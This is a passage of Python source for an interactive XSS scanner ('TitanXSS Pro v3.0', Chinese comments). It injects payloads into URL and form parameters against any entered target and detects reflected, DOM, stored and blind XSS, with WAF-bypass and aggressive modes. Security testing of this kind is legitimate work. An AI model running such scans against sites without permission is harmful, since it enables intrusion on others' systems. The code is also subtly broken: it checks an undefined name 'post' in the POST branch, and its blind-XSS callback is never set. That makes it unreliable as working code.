        if is_post:
            p_post[param_name] = payload
        else:
            p_params[param_name] = payload

        attack_resp, attack_url = self._send_request(p_params, p_post)
        if not attack_resp:
            return False

        self.scan_stats['payloads_injected'] += 1

        # 检测反射型XSS
        if self._detect_reflected_xss(attack_resp, payload, param_name, attack_url):
            return True

        # 检测DOM型XSS
        if (self.use_dom and self.browser and not is_post and
            self._detect_dom_xss(attack_url, param_name, payload)):
            return True

        return False

    def _detect_reflected_xss(self, response, payload, param_name, url):
        """检测反射型XSS"""
        # 简单检测：Payload是否反射
        if payload in response.text:
            vulnerability = {
                'type': 'Reflected XSS',
                'param': param_name,
                'payload': payload,
                'url': url,
                'evidence': 'Payload在响应中反射',
                'risk_score': self.risk_engine.assess_vulnerability({'type': 'reflected_xss'}),
                'context': 'html'
            }
            vulnerability['risk_level'] = self.risk_engine.get_risk_level(vulnerability['risk_score'])
            self._add_vulnerability(vulnerability)
            Logger.vuln(f"反射型XSS - 参数: {param_name}")
            return True
        return False

    def _detect_dom_xss(self, url, param_name, payload):
        """检测DOM型XSS"""
        if not self.browser:
            return False
        if self.browser.check_dom_xss(url):
            vulnerability = {
                'type': 'DOM XSS',
                'param': param_name,
                'payload': payload,
                'url': url,
                'evidence': '浏览器执行了JavaScript',
                'risk_score': self.risk_engine.assess_vulnerability({'type': 'dom_xss'}),
                'context': 'dom'
            }
            vulnerability['risk_level'] = self.risk_engine.get_risk_level(vulnerability['risk_score'])
            self._add_vulnerability(vulnerability)
            Logger.critical(f"DOM型XSS - 参数: {param_name}")
            return True
        return False

    def _add_vulnerability(self, vulnerability):
        """添加漏洞"""
        with self.lock:
            self.vulnerabilities.append(vulnerability)

    def test_stored_xss(self):
        """测试存储型XSS"""
        if not self.config.get('detection.check_stored'):
            return
        Logger.info("开始存储型XSS检测...")
        # 获取首页内容并发现表单
        try:
            response = self.session.get(self.target_url, timeout=10)
            forms = self.stored_detector.discover_forms(response.text)
            Logger.info(f"发现 {len(forms)} 个表单")
            # 测试每个表单
            for form in forms:
                self.stored_detector.test_form(form, self.target_url)
        except Exception as e:
            Logger.warning(f"存储型XSS检测失败: {e}")

    def test_blind_xss(self):
        """测试盲XSS"""
        if not self.config.get('detection.check_blind'):
            return
        Logger.info("开始盲XSS检测...")
        instructions = self.blind_detector.get_monitoring_instructions()
        if instructions:
            Logger.info(f"盲XSS监控ID: {instructions['unique_id']}")
            Logger.info(f"请监控: {instructions['callback_url']}")
        # 为所有参数注入盲XSS payload
        all_params = list(self.get_params.keys()) + list(self.post_data.keys())
        for param in all_params:
            payloads = self.blind_detector.generate_payloads(param)
            for payload in payloads:
                self._inject_blind_payload(param, payload)

    def _inject_blind_payload(self, param_name, payload):
        """注入盲XSS payload"""
        is_post = param_name in self.post_data
        p_params = self.get_params.copy()
        p_post = self.post_data.copy()
        if is_post:
            p_post[param_name] = payload
        else:
            p_params[param_name] = payload

        attack_resp, attack_url = self._send_request(p_params, p_post)
        if attack_resp and attack_resp.status_code == 200:
            Logger.info(f"盲XSS Payload已注入: {param_name}")

    def run(self):
        """运行扫描"""
        print(BANNER)
        Logger.info(f"目标: {self.target_url}")
        Logger.info(f"模式: {self.method}")
        Logger.info(f"线程: {self.threads}")
        Logger.info(f"DOM扫描: {'启用' if self.use_dom else '禁用'}")

        self.scan_stats['start_time'] = datetime.now()

        # 扫描参数
        tasks = []
        for param in self.get_params.keys():
            tasks.append((param, False))
            self.scan_stats['params_tested'] += 1
        for param in self.post_data.keys():
            tasks.append((param, True))
            self.scan_stats['params_tested'] += 1

        if not tasks:
            Logger.error("未发现可测试的参数")
            return

        Logger.info(f"开始扫描 {len(tasks)} 个参数...")

        # 使用线程池执行扫描
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = [executor.submit(self.scan_param, t[0], t[1]) for t in tasks]
            completed = 0
            for future in as_completed(futures):
                try:
                    future.result()
                    completed += 1
                    Logger.info(f"进度: {completed}/{len(tasks)}")
                except Exception as e:
                    Logger.error(f"扫描线程错误: {e}")

        # 存储型XSS检测
        self.test_stored_xss()

        # 盲XSS检测
        self.test_blind_xss()

        # 清理资源
        if self.browser:
            self.browser.quit()

        self.scan_stats['end_time'] = datetime.now()
        self.scan_stats['duration'] = self.scan_stats['end_time'] - self.scan_stats['start_time']

        # 生成报告
        self.generate_report()

    def generate_report(self):
        """生成报告"""
        Logger.info("生成扫描报告...")
        reporter = EnhancedReporter(self)
        report = reporter.generate_report()
        # 打印摘要
        self._print_scan_summary()

    def _print_scan_summary(self):
        """打印扫描摘要"""
        print("\n" + "="*60)
        print("扫描摘要")
        print("="*60)
        print(f"目标URL: {self.target_url}")
        print(f"扫描时间: {self.scan_stats['duration']}")
        print(f"测试参数: {self.scan_stats['params_tested']}")
        print(f"注入Payload: {self.scan_stats['payloads_injected']}")
        print(f"发现漏洞: {len(self.vulnerabilities)}")
        if self.vulnerabilities:
            print("\n漏洞详情:")
            for vuln in self.vulnerabilities:
                print(f"  [{vuln['risk_level']}] {vuln['type']} - 参数: {vuln['param']}")
        else:
            print("\n✅ 未发现XSS漏洞")
        print("="*60)

# --- 主程序 ---
def main():
    print(BANNER)
    print("欢迎使用 TitanXSS Pro v3.0 交互式扫描器")
    print("本工具旨在帮助您发现Web应用中的XSS漏洞。")
    print("-" * 60)

    # 1. 输入目标URL
    while True:
        target_url = input("\n请输入目标URL (例如 http://site.com?q=1): ").strip()
        if not target_url:
            print(f"{Colors.YELLOW}错误: 目标URL不能为空，请重新输入。{Colors.END}")
            continue
        # 基本的URL格式验证
        if not (target_url.startswith("http://") or target_url.startswith("https://")):
            print(f"{Colors.YELLOW}警告: URL 应该以 'http://' 或 'https://' 开头。{Colors.END}")
            continue
        break

    # 2. 选择请求方法
    print("\n选择请求方法:")
    print("1. GET (默认) - 用于测试URL中的参数，如 ?q=1")
    print("2. POST - 用于测试表单提交的数据")
    while True:
        method_choice = input("请选择 (1-2, 默认为1): ").strip()
        if method_choice == '2':
            method = "POST"
            break
        elif method_choice == '1' or method_choice == '':
            method = "GET"
            break
        else:
            print(f"{Colors.YELLOW}无效选择，请输入 1 或 2。{Colors.END}")

    # 3. 如果是POST请求，需要输入POST数据
    post_data = None
    if method == "POST":
        print("\n请输入POST数据 (例如: user=admin&pass=123):")
        print("提示: 如果不确定，可以先尝试GET方法扫描URL参数。")
        post_data = input("POST数据: ").strip()
        if not post:
            print(f"{Colors.YELLOW}未输入POST数据，将切换回GET方法扫描URL参数。{Colors.END}")
            method = "GET"

    # 4. 输入Cookie (可选)
    cookie = input("\n请输入Cookie (可选，直接回车跳过): ").strip()
    if not cookie:
        cookie = None

    # 5. 选择扫描模式
    print("\n请选择扫描模式:")
    print("1. 企业级扫描 (Enterprise Scan) - 最全面，启用所有检测，包括盲XSS和存储型XSS，高线程数，启用WAF绕过")
    print("2. 完整扫描 (Full Scan) - 启用DOM、反射、存储型XSS检测，中等线程数，启用WAF绕过")
    print("3. 基础扫描 (Basic Scan) - 仅反射型XSS检测，低线程数，不启用WAF绕过或DOM扫描")
    print("4. 自定义扫描 (Custom Scan) - 允许手动配置参数")

    while True:
        choice = input("请输入选择 (1-4): ").strip()
        if choice in ['1', '2', '3', '4']:
            break
        else:
            print(f"{Colors.YELLOW}无效选择，请输入 1, 2, 3, 或 4。{Colors.END}")

    # 6. 根据选择配置扫描参数
    config_file = None
    callback_url = None
    threads = 10
    use_dom = True
    check_stored = True
    check_blind = False
    enable_waf_bypass = True
    aggressive_mode = False

    if choice == '1':
        Logger.info("选择: 企业级扫描")
        threads = 20
        check_blind = True
        check_stored = True
        use_dom = True
        enable_waf_bypass = True
        aggressive_mode = True
    elif choice == '2':
        Logger.info("选择: 完整扫描")
        threads = 15
        check_stored = True
        use_dom = True
        enable_waf_bypass = True
    elif choice == '3':
        Logger.info("选择: 基础扫描")
        threads = 5
        use_dom = False
        check_stored = False
        check_blind = False
        enable_waf_bypass = False
    elif choice == '4':
        Logger.info("选择: 自定义扫描")
        print("\n自定义扫描设置:")
        while True:
            try:
                threads = int(input("   请输入线程数 (建议 1-50, 默认10): ") or 10)
                if 1 <= threads <= 50:
                    break
                else:
                    print(f"{Colors.YELLOW}线程数应在 1-50 之间。{Colors.END}")
            except ValueError:
                print(f"{Colors.YELLOW}请输入一个有效的数字。{Colors.END}")
        use_dom = input("   是否启用DOM扫描? (y/N): ").lower().strip() in ['y', 'yes']
        check_stored = input("   是否检测存储型XSS? (y/N): ").lower().strip() in ['y', 'yes']
        check_blind = input("   是否检测盲XSS? (y/N): ").lower().strip() in ['y', 'yes']
        enable_waf_bypass = input("   是否启用WAF绕过? (y/N): ").lower().strip() in ['y', 'yes']
        aggressive_mode = input("   是否启用激进扫描模式? (y/N): ").lower().strip() in ['y', 'yes']
        config_file = input("   配置文件路径 (可选): ").strip()
        if config_file and not os.path.exists(config_file):
            print(f"{Colors.YELLOW}警告: 指定的配置文件不存在，将使用默认配置。{Colors.END}")
            config_file = None

    # 7. 确认设置
    print("\n" + "="*40)
    print("扫描配置确认:")
    print(f"  目标: {target_url}")
    print(f"  方法: {method}")
    print(f"  Cookie: {'已提供' if cookie else '未提供'}")
    print(f"  线程数: {threads}")
    print(f"  启用DOM扫描: {use_dom}")
    print(f"  检测存储型XSS: {check_stored}")
    print(f"  检测盲XSS: {check_blind}")
    print(f"  启用WAF绕过: {enable_waf_bypass}")
    print("="*40)

    confirm = input("\n配置是否正确? (Y/n): ").lower().strip()
    if confirm in ['n', 'no']:
        print(f"{Colors.YELLOW}扫描已取消。{Colors.END}")
        return

    # 8. 开始扫描
    try:
        scanner = TitanXSSScanner(
            target_url=target_url,
            method=method,
            data=post_data,
            cookie=cookie,
            threads=threads,
            use_dom=use_dom,
            config_file=config_file,
            callback_url=callback_url
        )

        # 在scanner实例化后，修改其内部的config
        scanner.config.config['detection']['check_stored'] = check_stored
        scanner.config.config['detection']['check_blind'] = check_blind
        scanner.config.config['payloads']['enable_waf_bypass'] = enable_waf_bypass
        scanner.config.config['detection']['aggressive_mode'] = aggressive_mode
        scanner.config.config['scanning']['threads'] = threads
        scanner.config.config['detection']['check_dom'] = use_dom

        scanner.run()
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!] 用户停止扫描{Colors.END}")
    except Exception as e:
        print(f"\n{Colors.RED}[!] 扫描错误: {e}{Colors.END}")

if __name__ == "__main__":
    main()